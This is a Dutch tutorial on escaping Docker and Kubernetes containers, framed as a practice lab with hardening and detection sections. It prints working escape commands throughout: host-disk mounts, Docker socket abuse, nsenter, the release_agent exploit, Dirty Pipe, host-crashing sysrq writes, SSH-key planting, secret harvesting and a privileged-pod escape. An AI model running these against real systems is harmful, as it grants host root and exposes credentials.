CertifiedHacker

Container Escape Lab

Praktische container escape tutorial: detectie of je in een container zit, privileged mount escape, Docker socket misbruik, hostPID namespace breakout en cgroup release_agent.

Container Escape Lab

In deze tutorial oefen je vier methoden om uit een Docker-container te ontsnappen naar het hostsysteem. Elke methode exploiteert een andere misconfiguratie.

Lab opzetten

We gebruiken Docker om kwetsbare containers te starten. Elk scenario simuleert een andere misconfiguratie die je in productie kunt tegenkomen.

# Scenario 1: Privileged container
docker run --rm -it --privileged ubuntu:latest bash

# Scenario 2: Docker socket mount
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest bash

# Scenario 3: HostPID namespace
docker run --rm -it --pid=host ubuntu:latest bash

# Scenario 4: Niet-privileged maar met SYS_ADMIN capability
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:latest bash

Stap 0: Zit ik in een container?

Voordat je kunt ontsnappen, moet je weten dat je opgesloten zit. Hier zijn de tekenen:

# Test 1: .dockerenv bestand
ls -la /.dockerenv
# Bestaat? Je zit in Docker.

# Test 2: Cgroup informatie
cat /proc/1/cgroup
# Als je "docker", "containerd" of een hash ziet: container

# Test 3: PID 1 is niet systemd/init
cat /proc/1/sched | head -1
# "bash" of "sleep" in plaats van "systemd"? Container.

# Test 4: Beperkt aantal processen
ps aux | wc -l
# Minder dan 20? Waarschijnlijk een container.

# Test 5: Hostname
hostname
# Een willekeurige hexadecimale string (bijv. a1b2c3d4e5f6)? Container.

# Test 6: Mount punten
mount | grep -E "overlay|aufs"
# Overlay filesystem? Docker.

Escape 1: Privileged container

Een privileged container heeft alle Linux capabilities en toegang tot alle devices op de host. Het is de meest directe weg naar buiten.

# Verifieer dat je privileged bent
cat /proc/1/status | grep CapEff
# CapEff: 000001ffffffffff = alle capabilities

# Methode A: Mount het host filesystem
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Of: mount /dev/nvme0n1p1 /mnt/host (voor NVMe schijven)

# Je hebt nu toegang tot het hele hostsysteem
ls /mnt/host/etc/
cat /mnt/host/etc/shadow
cat /mnt/host/root/.ssh/authorized_keys

# Schrijf een SSH key naar de host
echo "ssh-rsa AAAA... attacker@kali" >> /mnt/host/root/.ssh/authorized_keys

# SSH naar de host (vanuit een andere terminal)
ssh root@HOST_IP

# Methode B: chroot naar het host filesystem
chroot /mnt/host /bin/bash
# Je bent nu effectief root op de host

Escape 2: Docker socket mount

Als /var/run/docker.sock gemount is in de container, kun je de Docker daemon van de host aansturen. Dit is alsof je vanuit je cel de sleutel van alle cellen kunt bedienen.

# Check of de socket beschikbaar is
ls -la /var/run/docker.sock

# Installeer Docker CLI (of gebruik curl)
apt update && apt install -y docker.io

# Bekijk alle containers op de host
docker ps

# Start een nieuwe container met het host filesystem gemount
docker run -v /:/host --rm -it ubuntu:latest chroot /host bash

# Je bent nu root op de host
id    # uid=0(root)
cat /etc/shadow

# Of: voer direct een commando uit op de host
docker run -v /:/host --rm ubuntu:latest cat /host/etc/shadow

Escape 3: HostPID namespace

Met --pid=host deelt de container het PID-namespace met de host. Je kunt alle processen op de host zien, en — crucialer — je kunt nsenter gebruiken om naar het host-namespace te springen.

# Verifieer dat je het host PID namespace deelt
ps aux | wc -l    # Veel meer processen dan normaal in een container
ps aux | grep sshd # Je ziet host-processen

# nsenter: spring naar het namespace van PID 1 (de host's init)
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Je bent nu root op de host
hostname    # Toont de hostnaam van de host, niet de container
id          # uid=0(root)
ip addr     # Toont de host's netwerk interfaces

Escape 4: Release agent (cgroups v1)

Deze methode werkt in niet-privileged containers die de SYS_ADMIN capability hebben. Het exploiteert het cgroups v1 release_agent mechanisme.

# Stap 1: Maak een nieuwe cgroup en configureer de release agent
d=$(dirname $(ls -x /s*/fs/c*/*/r* 2>/dev/null | head -n1))
if [ -z "$d" ]; then
  mkdir /tmp/cgrp
  mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
  mount -t cgroup -o memory cgroup /tmp/cgrp
  d=/tmp/cgrp
fi

mkdir -p $d/exploit
echo 1 > $d/exploit/notify_on_release

# Stap 2: Vind het host-pad naar de container
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)

# Stap 3: Schrijf het commando dat op de host uitgevoerd moet worden
echo "$host_path/cmd" > $d/release_agent
cat > /cmd <<'SCRIPT'
#!/bin/sh
cat /etc/shadow > /output
SCRIPT
chmod +x /cmd

# Stap 4: Trigger de release agent
sh -c "echo \$\$ > $d/exploit/cgroup.procs"

# Stap 5: Lees de output
sleep 1
cat /output

Hardening checklist

Elke escape die je hebt geoefend correspondeert met een misconfiguratie die je kunt voorkomen:

EscapeOorzaakPreventie
Privileged--privileged flagNooit in productie. Gebruik specifieke capabilities.
Docker socketSocket mount in containerGebruik een read-only Docker API proxy of vermijd volledig.
HostPID--pid=hostGebruik alleen als strikt noodzakelijk (monitoring).
Release agentSYS_ADMIN capabilityDrop alle onnodige capabilities. Gebruik seccomp profielen.
# Veilige container configuratie:
docker run \
  --read-only \
  --tmpfs /tmp \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --security-opt seccomp=default.json \
  --user 1000:1000 \
  my-app:latest

Extra escape technieken

Escape 5: /proc/sysrq-trigger

Als de container toegang heeft tot /proc/sysrq-trigger (wat het geval is in privileged containers), kun je de host direct beïnvloeden:

# WAARSCHUWING: dit veroorzaakt een kernel panic op de host
# Gebruik dit ALLEEN in een lab-omgeving
echo b > /proc/sysrq-trigger    # Reboot de host
echo c > /proc/sysrq-trigger    # Kernel crash/panic

# Minder destructief: geheugen-info lekken
echo m > /proc/sysrq-trigger    # Dump geheugeninformatie naar kernel log
dmesg | tail -50                # Lees kernel log (als /dev/kmsg beschikbaar is)

Escape 6: Specifieke capabilities exploiteren

# Check welke capabilities je hebt
cat /proc/1/status | grep Cap
capsh --print

# CAP_DAC_READ_SEARCH: lees elk bestand op het hostsysteem
# Zonder de host filesystem te mounten!
# Gebruik open_by_handle_at() syscall
# Tool: shocker.c (https://github.com/gabbbe/shocker)
gcc -o shocker shocker.c
./shocker /etc/shadow

# CAP_SYS_PTRACE: attach aan hostprocessen
# Als je hostPID hebt + CAP_SYS_PTRACE:
# Injecteer code in een hostproces via ptrace
nsenter --target $(pgrep -o nginx) --mount --net -- /bin/bash

# CAP_NET_RAW: raw sockets
# ARP spoofing, packet sniffing vanuit de container
tcpdump -i eth0 -w capture.pcap

Escape 7: Kernel exploits

Als geen van de bovenstaande methoden werkt, maar de host-kernel kwetsbaar is, kun je een kernel-exploit gebruiken. De container deelt de kernel met de host — een kernel-exploit in de container is een kernel-exploit op de host.

# Check kernel versie
uname -r

# Bekende container-relevante kernel exploits:
# CVE-2022-0185 (Linux 5.1+): heap overflow in filesystem context
# CVE-2022-0847 (Dirty Pipe, Linux 5.8+): overschrijf read-only bestanden
# CVE-2021-22555 (Netfilter): privilege escalation via Netfilter

# Dirty Pipe voorbeeld (CVE-2022-0847):
# Als kernel < 5.16.11 / 5.15.25 / 5.10.102:
gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd 1 "root::0:0::/root:/bin/bash"
# Root wachtwoord is nu leeg op de HOST
su root  # Geen wachtwoord nodig

Container Reconnaissance Checklist

Voordat je een escape-methode kiest, verzamel je informatie over je omgeving:

#!/bin/bash
echo "=== Container Recon ==="

echo "[*] Hostname:" $(hostname)
echo "[*] Kernel:" $(uname -r)
echo "[*] OS:" $(cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d'"' -f2)

echo "[*] Capabilities:"
cat /proc/1/status | grep -i cap

echo "[*] Mounts:"
mount | grep -v "proc\|sys\|cgroup" | head -10

echo "[*] Docker socket:"
ls -la /var/run/docker.sock 2>/dev/null && echo "FOUND" || echo "Not found"

echo "[*] .dockerenv:"
ls /.dockerenv 2>/dev/null && echo "FOUND" || echo "Not found"

echo "[*] ServiceAccount:"
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "K8s pod" || echo "Not K8s"

echo "[*] Host PID namespace:"
ps aux 2>/dev/null | wc -l | awk '{if ($1 > 30) print "Likely hostPID"; else print "Container PID namespace"}'

echo "[*] Privileged:"
if [ -w /dev/sda ] 2>/dev/null; then echo "PRIVILEGED"; else echo "Not privileged"; fi

echo "[*] Writable directories:"
find / -writable -type d 2>/dev/null | grep -v "proc\|sys\|dev" | head -10

echo "[*] Network:"
ip addr 2>/dev/null || ifconfig 2>/dev/null
cat /etc/resolv.conf

echo "[*] Environment secrets:"
env | grep -i "pass\|secret\|key\|token\|api" 2>/dev/null

Container escapes in Kubernetes

In Kubernetes-omgevingen heb je extra aanvalsvectoren naast de standaard Docker escapes:

# 1. ServiceAccount token misbruiken
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc

# Check rechten
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
  -X POST -H "Content-Type: application/json" \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

# 2. Maak een privileged pod als je create-rechten hebt
cat > escape-pod.yaml <<'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: escape
spec:
  containers:
  - name: escape
    image: ubuntu
    command: ["/bin/bash", "-c", "sleep infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: hostfs
      mountPath: /host
  volumes:
  - name: hostfs
    hostPath:
      path: /
  hostPID: true
  hostNetwork: true
EOF

# Upload en start de pod via de API
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/namespaces/default/pods" \
  -X POST -H "Content-Type: application/yaml" \
  --data-binary @escape-pod.yaml

# Exec in de escape pod
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$APISERVER/api/v1/namespaces/default/pods/escape/exec?command=/bin/bash&stdin=true&stdout=true&tty=true" \
  -X POST -H "Content-Type: application/json" -d '{}'

Detectie: hoe worden container escapes ontdekt?

Als pentester wil je weten wat het SOC kan zien. Hier zijn de indicators die een goede monitoring oplossing detecteert:

Escape methodeDetection indicator
Privileged mountSyscall: mount vanuit een container PID
Docker socketAPI-calls naar /var/run/docker.sock
HostPID nsenterSyscall: setns naar een ander namespace
Release agentSchrijven naar release_agent in cgroup
K8s SA misbruikOnverwachte API-calls vanuit pod SA’s

Tools als Falco, Sysdig en Aqua Security monitoren deze syscalls en API-calls real-time. In een red team engagement wil je weten of deze tools actief zijn vóórdat je een escape probeert.

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.